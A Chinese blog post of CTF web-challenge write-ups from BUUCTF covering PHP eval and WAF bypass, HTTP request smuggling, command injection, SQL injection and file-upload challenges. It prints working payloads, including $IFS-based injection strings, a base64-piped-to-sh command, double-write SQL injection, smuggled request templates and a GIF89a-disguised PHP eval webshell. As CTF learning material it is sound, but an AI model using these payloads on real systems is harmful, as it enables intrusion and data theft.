每日一题(二)

Aimerl0 等级 80 0 0

2021.01.25

不知道为什么,腾讯管家扫毒的时候把我这篇文章扫出来了,然后我顺手给清掉了,只能选择重新发一遍了

写在前面

每日一题每十题开一篇新文章

[RoarCTF 2019]Easy Calc

刚进来是有一个计算器的功能,试了好大好大的数,没有发生溢出情况,查看源代码发现了东西

初见

敏感信息

访问calc.php发现过滤的 php 代码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

好了,代码里面有个很危险的eval函数,但是黑名单实在是给的太多了而且还有看不见的 waf ,只能传入数字和运算符号,不能传入字符,所以又到了经典的没有思路环节,但是今天协会扫地学长没有扫地,实在想不出了只好去看 wp 了嘤嘤嘤

方法一:PHP字符串解析特性绕过WAF

  • 原理:PHP将查询字符串(在URL或正文中)转换为内部GET数组或关联数组POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。

    也就是说: PHP 需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

    1. 删除空白符
    2. 将某些字符转换为下划线(包括空格)

    例如:

    User input Decoded PHP variable name
    %20foo_bar%00 foo_bar foo_bar
    foo%20bar%00 foo bar foo_bar
    foo%5bbar foo[bar foo_bar

    贴两张好图,来源是 freebuf

    好图1

好图2

回归题目,可能用得到的几个函数

  • scandir() 函数 返回指定目录中的文件和目录的数组
  • base_convert() 函数 在任意进制之间转换数字,返回一个字符串
  • dechex() 函数:把十进制转换为十六进制
  • hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符
  • readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息

假如 waf 不允许 num 变量传递字母:

http://www.xxx.com/index.php?num = aaaa   //显示非法输入

那么我们可以在 num 前加个空格:

http://www.xxx.com/index.php? num = aaaa

这样 waf 就找不到 num 这个变量了,因为现在的变量叫(空格)num,而不是num。但 php 在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符

先看看根目录有什么,calc.php/? num=1;var_dump(scandir(chr(47))),发现 flagg

img

payload:

calc.php/?         num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

flag

方法二:HTTP走私

http走私攻击介绍

1、为什么会形成走私漏洞

前端服务器(CDN)和后端服务器接收数据不同步,引起对客户端传入的数据理解不一致,从而导致漏洞的产生。 大多数HTTP请求走私漏洞的出现是因为HTTP规范提供了两种不同的方法来指定请求的结束位置:Content-Length标头和Transfer-Encoding标头。 同时使用两种不同的方法时,Content-Length无效。当使用多个服务器时,对客户端传入的数据理解不一致时,就会出现有些服务器认为Content-Length的长度有效,有些以Transfer-Encoding有效。而一般情况下,反向代理服务器与后端的源站服务器之间,会重用TCP链接。这样超出的长度就会拼接到下一次请求进行请求,从而导致HTTP请求走私漏洞。

2、HTTP请求走私攻击的五种方式

(1)CL不为0

所有不携带请求体的HTTP请求都有可能受此影响。这里用GET请求举例。 前端代理服务器允许GET请求携带请求体;后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。 构造请求示例:

GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n
1234567
\r\n是换行的意思,windows的换行是\r\n,unix的是\n,mac的是\r
攻击流程:

前端服务器收到该请求,读取Content-Length,判断这是一个完整的请求。 然后转发给后端服务器,后端服务器收到后,因为它不对Content-Length进行处理,由于Pipeline的存在,后端服务器就认为这是收到了两个请求,分别是: 第一个:

GET / HTTP/1.1\r\n
Host: test.com\r\n

第二个:

GET / secret HTTP/1.1\r\n
Host: test.com\r\n

所以造成了请求走私。

(2)CL-CL

有些服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误。 但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。

构造请求示例:
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a
攻击流程:

中间代理服务器获取到的数据包的长度为8,将上述整个数据包原封不动的转发给后端的源站服务器。 而后端服务器获取到的数据包长度为7。当读取完前7个字符后,后端服务器认为已经读取完毕,然后生成对应的响应,发送出去。而此时的缓冲区去还剩余一个字母a,对于后端服务器来说,这个a是下一个请求的一部分,但是还没有传输完毕。 如果此时有一个其他的正常用户对服务器进行了请求:

GET /index.html HTTP/1.1\r\nHost: test.com\r\n

因为代理服务器与源站服务器之间一般会重用TCP连接。所以正常用户的请求就拼接到了字母a的后面,当后端服务器接收完毕后,它实际处理的请求其实是:

aGET /index.html HTTP/1.1\r\nHost: test.com\r\n

这时,用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击,而且还对正常用户的行为造成了影响,而且还可以扩展成类似于CSRF的攻击方式。

但是一般的服务器都不会接受这种存在两个请求头的请求包。该怎么办呢? 所以想到前面所说的

RFC2616规范

如果收到同时存在Content-LengthTransfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length

所以请求包中同时包含这两个请求头并不算违规,服务器也不需要返回400错误。导致服务器在这里的实现更容易出问题。

(3)CL-TE

CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding请求头。

构造请求示例:
POST / HTTP/1.1\r\nHost: test.com\r\n......Connection: keep-alive\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\na

连续发送几次请求就可以获得响应。

攻击流程:

由于前端服务器处理Content-Length,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也就是

0\r\n\r\na

当请求包经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding,当它读取到

0\r\n\r\n

认为已经读取到结尾了。 但剩下的字母a就被留在了缓冲区中,等待下一次请求。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求:

aPOST / HTTP/1.1\r\nHost: test.com\r\n......

服务器在解析时就会产生报错了,从而造成HTTP请求走私。

(4)TE-CL

TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding请求头,后端服务器处理Content-Length请求头。

构造请求示例:
POST / HTTP/1.1\r\nHost: test.com\r\n......Content-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n12\r\naPOST / HTTP/1.1\r\n\r\n0\r\n\r\n
攻击流程:

前端服务器处理Transfer-Encoding,当其读取到

0\r\n\r\n

认为是读取完毕了。 此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length请求头,因为请求体的长度为4.也就是当它读取完

12\r\n

就认为这个请求已经结束了。后面的数据就认为是另一个请求:

aPOST / HTTP/1.1\r\n\r\n0\r\n\r\n

成功报错,造成HTTP请求走私。

(5)TE-TE

TE-TE,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,确实是实现了RFC的标准。不过前后端服务器不是同一种。这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作(如某个字符改变大小写),从而使其中一个服务器不处理Transfer-Encoding请求头。在某种意义上这还是CL-TE或者TE-CL

构造请求示例:
POST / HTTP/1.1\r\nHost: test.com\r\n......Content-length: 4\r\nTransfer-Encoding: chunked\r\nTransfer-encoding: cow\r\n\r\n5c\r\naPOST / HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 15\r\n\r\nx=1\r\n0\r\n\r\n
攻击流程:

前端服务器处理Transfer-Encoding,当其读取到

0\r\n\r\n

认为是读取结束。 此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器处理Transfer-encoding请求头,将Transfer-Encoding隐藏在服务端的一个chain中时,它将会回退到使用Content-Length去发送请求。读取到

5c\r\n

认为是读取完毕了。后面的数据就认为是另一个请求:

aPOST / HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 15\r\n\r\nx=1\r\n0\r\n\r\n1234567

成功报错,造成HTTP请求走私。

回到题目,用 Burp 抓包,上面几种请求走私都可以,直接 num 传参 payload 就出 flag 了

payload:(这回 num 前面没有空格利用 php 解析)

calc.php/?num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

总结,学到了 php 解析字符串的特性原理,还学到了新东西——HTTP走私,更加理解了Content-Length标头和Transfer-Encoding标头

参考文章:

[RoarCTF 2019]Easy Calc(http走私 && 利用PHP的字符串解析特性Bypass)

BUUCTF | [RoarCTF 2019]Easy Calc

协议层的攻击——HTTP请求走私

利用PHP的字符串解析特性Bypass

[GXYCTF2019]Ping Ping Ping

进去看见有个/?ip=,下意识填了个 127.0.0.1,然后直觉告诉我是个远程命令执行的题

初见

Burp 抓包重放,拼了个ls

flag.php

命令执行漏洞利用及绕过方式总结

读一读 index

?ip=127.0.0.1;cat$IFS$1index.php/?ip=PING 127.0.0.1 (127.0.0.1): 56 data bytes/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);    die("fxck your symbol!");  } else if(preg_match("/ /", $ip)){    die("fxck your space!");  } else if(preg_match("/bash/", $ip)){    die("fxck your bash!");  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){    die("fxck your flag!");  }  $a = shell_exec("ping -c 4 ".$ip);  echo "";  print_r($a);}?>
  • 总结:过滤的特殊字符:
& / ? * < x{00}-\x{1f} ' " \ () [] {}  空格"xxxfxxxlxxxaxxxgxxx" " " "bash" 
  • flag的贪婪匹配,匹配一个字符串中,是否按顺序出现过flag四个字母
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){    die("fxck your flag!");

源码中有一个 $a 变量可以覆盖

?ip=127.0.0.1;a=f;cat$IFS$1$alag.php    过滤?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php    没flag?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php      过滤?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php    有flag?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag

方法一:绕过过滤

payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php

RCE读取PHP文件时,一定要从源代码看,因为PHP不能被解析,这个坑当时梦极光杯也犯过,命令执行打出来 flag 了,傻傻的在主页面找,硬是找不到,后面才在源代码里看到 flag ,被笑了好久

flag

方法二:过滤bash用sh执行

payload:/?ip=127.0.0.1;echo$IFS\$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

|sh 就是执行前面的echo脚本

这个方法我没成功过,老是找不到服务器,不知道为什么

找不到服务器

方法三:内联执行

内联就是:将反引号内命令的输出作为输入执行

payload:

?ip=127.0.0.1;cat$IFS$1`ls`

flag

[极客大挑战 2019]Knife

又是一道很好的招新题

明示

蚁剑连上直接拿 flag

flag

用社团网的时候,拿蚁剑去连一句话,总是会爆超时的错误,学长说是校园网限制了流量,或者 ban 掉了某些出口

所以每次用到蚁剑的题都得把网线拔了,自己开热点做

[ACTF2020 新生赛]Exec

感觉又是一道远程命令执行的题目

ls

ping 127.0.0.1;cat index.php看到关键 php 代码

传参方式

<?php if (isset($_POST['target'])) {    system("ping -c 3 ".$_POST['target']);}?>

代码没有任何过滤,直接慢慢读,payload:ping 127.0.0.1;cd /;ls;cat flag

flag

[极客大挑战 2019]Http

进去看看是成信工三叶草小组的简介,又羡慕一波,在源码里面看到有个Secret.php,访问

It doesn't come from 'https://www.Sycsecret.com',添加Referer头即可,简单

Referer

Please use "Syclover" browser,要求是Syclover浏览器,改User-Agent头即可,简单

User-Agent

No!!! you can only read this locally!!!,只能本地访问,添加XFF头X-Forwarded-For伪造127.0.0.1即可,简单

flag

这题目用来招新真的好合适,老羡慕了,怎么人家学校 CTF 氛围这么好呢

[极客大挑战 2019]BabySQL

又是熟悉的画面

初见

常规的union select不行,用双写发现可以绕过

img

admin' ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata)#爆数据库,发现有ctf

这里发现 form or 都有被过滤,会被替换成空,所以还是用双写绕过

爆数据库

admin' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf"#爆数据表,发现Flag

这里发现 where 有过滤,双写绕过

爆数据表

admin' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)#爆字段,出flag

flag

[HCTF 2018]admin

点进来看到页面很简单,只有登陆注册两个功能,结合题目的admin感觉是那种伪造cookie或者session登陆admin账号的越权的题目

初见

意外解:admin 123直接登陆

真就随便试了一下常见的那种 admin admin888 123456 123这种弱口令,没想到居然出来了???

可能最近运气不错吧,但是这种题对我来说确实是第一次做,一直死磕也搞不出来,所以直接去看 wp 复现了,反向学习一波

flag

方法一:flask session 伪造

方法二: unicode欺骗

方法三: 条件竞争

10.23-24去南宁丢人现眼了,没有更新

[极客大挑战 2019]Upload

考点很明显的文件上传

img

传了一个普通的图片🐎发现<?会被检测出来,所以用了个phtml🐎

GIF89a<script language="php">eval($_POST['shell']);</script> 

通常,在嵌入了 php 脚本的 html 中,使用 phtml 作为后缀名;

完全是 php 写的,就用 php 后缀名

这两种文件,web 服务器都会使用 php 解释器进行解析

GIF89a 是 gif 文件头欺骗

  • php 嵌入 html 脚本方式
  1. 默认语法:<?php ... ?>
  2. 短标记:<? ... ?>
  3. 脚本:<script language="php"> ... </script>,从PHP7开始不支持
  4. ASP风格:<% ... %> 一般是ASP一句话木马用
  5. 除了第一种,其他三种的浏览器兼容性都不太好

传🐎抓包,需要改Content-Type: image/jpeg,因为只允许 image 上传

上传成功

getshell

猜测上传路径是/upload/ma.phtml,用蚁剑连连上了,进去看了看文件过滤的函数

<?php$file = $_FILES["file"];// 允许上传的图片后缀$allowedExts = array("php","php2","php3","php4","php5","pht","phtm");$temp = explode(".", $file["name"]);$extension = strtolower(end($temp));        // 获取文件后缀名$image_type = @exif_imagetype($file["tmp_name"]);if ((($file["type"] == "image/gif")|| ($file["type"] == "image/jpeg")|| ($file["type"] == "image/jpg")|| ($file["type"] == "image/pjpeg")|| ($file["type"] == "image/x-png")|| ($file["type"] == "image/png"))&&$file["size"] < 20480)    // 小于 20 kb{    if ($file["error"] > 0){        echo "ERROR!!!";    }    elseif (in_array($extension, $allowedExts)) {        echo "NOT!".$extension."!";    }      elseif (mb_strpos(file_get_contents($file["tmp_name"]), "<?") !== FALSE) {        echo "NO! HACKER! your file included '&#x3C;&#x3F;'";    }    elseif (!$image_type) {        echo "Don't lie to me, it's not image at all!!!";    }    else{        $fileName='./upload/'.$file['name'];        move_uploaded_file($file['tmp_name'],$fileName);         echo "上传文件名: " . $file["name"] . "<br>";    }}else{    echo "Not image!";}?>

flag 在根目录下

flag

看了看别人传的🐎,五花八门,各种姿势,但都是用的脚本嵌入方式传🐎

[ACTF2020 新生赛]BackupFile

index.php.bak

index.php.bak老常见了

<?phpinclude_once "flag.php";if(isset($_GET['key'])) {    $key = $_GET['key'];    if(!is_numeric($key)) {        exit("Just num!");    }    $key = intval($key);    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";    if($key == $str) {        echo $flag;    }}else {    echo "Try to find out source file!";}

intval() 函数用于获取变量的整数值。

is_numeric() 函数用于检测变量是否为数字或数字字符串。

PHP 数字和字符串的弱类型比较,PHP 将字符串转换成 int 然后再进行比较,转换成 int 比较时只保留数字,第一个字符串之后的所有内容会被截掉,传参 123 就行,

img

[ACTF2020 新生赛]Upload

嘿伙计,你发现它了!

传马的时候发现 burp 抓不到包,直接弹出该文件不允许上传巴拉巴拉,猜测是在前端验证文件类型,发现checkFile函数

function checkFile() {    var file = document.getElementsByName('upload_file')[0].value;    if (file == null || file == "") {        alert("请选择要上传的文件!");        return false;    }    //定义允许上传的文件类型    var allow_ext = ".jpg|.png|.gif";    //提取上传文件的类型    var ext_name = file.substring(file.lastIndexOf("."));    //判断上传文件类型是否允许上传    if (allow_ext.indexOf(ext_name) == -1) {        var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";        alert(errMsg);        return false;    }}

文件改名ma.jpg.PhP绕过了前端验证函数,用大小写绕过了 bad file 文件检测,虽然上传成功了,但是不解析成php文件执行

img

img

转换思路,用昨天的 phtml马,然后发现浏览器是可以禁用前端 JS 脚本的,也就是把 chackFile 函数 ban 掉

GIF89a<script language="php">eval($_POST['shell']);</script> <script language='php'>system('cat /flag');</script>

这回直接在马里 cat flag

拿到 flag

flag

未完待续…

预览图
收藏
评论区
守株待兔
最新文章
易班自动刷网薪系统 2021-05-10 16:21
openGauss——docker安装 2021-05-02 15:42
openGauss——VMware安装 2021-05-02 15:42
每日一题(七) 2021-05-02 15:38
每日一题(六) 2021-05-02 15:37
每日一题(五) 2021-05-02 15:36
每日一题(四) 2021-05-02 15:35
每日一题(三) 2021-05-02 15:35
每日一题(一) 2021-05-02 15:33
网络渗透测试实验四 2021-05-02 15:29

导读